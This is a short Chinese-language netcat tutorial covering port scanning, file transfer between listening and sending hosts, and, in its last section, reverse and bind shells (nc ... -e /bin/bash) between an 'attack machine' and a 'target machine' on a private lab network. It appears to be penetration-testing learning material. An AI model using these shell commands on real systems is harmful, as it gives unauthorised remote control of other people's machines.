Netcat使用
NetCat瑞士军刀,网络中的瑞士军刀,短小而精悍,功能齐全。简称为
nc
端口扫描
参数 | 作用 |
---|---|
-v | 扫描端口是否开放 |
-z | 指定端口范围 |
-w | 指定扫描时间 |
-u | 指定udp端口 |
例如:查看172.16.1.80的21端口是否开启
nc -v 172.16.1.80 21
扫描172.16.1.80的1-1024有哪些端口开启
nc -zv 172.16.1.80 1-1024
扫描172.16.1.80的UDP端口1-1024,一个端口超时为1秒
nc -zv -u -w 1 172.16.1.80 1-1024
但是netcat并不常用于端口扫描,常用的bash反弹
监听端口实现文件传输,bash共享
1.监听本地端口
nc -lvp 80
,监听被动80端口
这里显示80端口已经被使用,因为这里我开启了apache服务
2.文件传输
接收方输入命令nc -lvp 866 > eee.txt
,将本机866端口接收的数据保存到 eee.txt 中去
发送方输入命令nc 接收方IP 866 < 文件名称
,例如:
若传输完成,接收方的监听会停止监听
执行命令cat eee.txt
查看即可
传输完成,当然也可以反过来传输,传输方将文件共享到本机的866端口,接收方连接共享文件
,而我们本实验是接收方监听本机866端口,传输方将文件共享到接收方的866端口。
3. bash共享
首先,什么是bash,例如我们执行的linux终端,就是bash,那么可以理解bash共享类似ssh共享终端
攻击机监听本地端口:nc -lvp 8888
靶机建立共享bash,nc 172.16.1.111 8888 -e /bin/bash
返回查看攻击机
连接成功
这一般出现在拥有命令执行的靶机中
我们也可以反过来
靶机执行命令nc -lvp 866 -e /bin/bash
攻击机连接nc 靶机IP 866
本实验是
攻击机:nc -lvp 866
靶机:nc 攻击机IP 866 -e /bin/bash
千万不要搞混了,文件共享也可以正反传输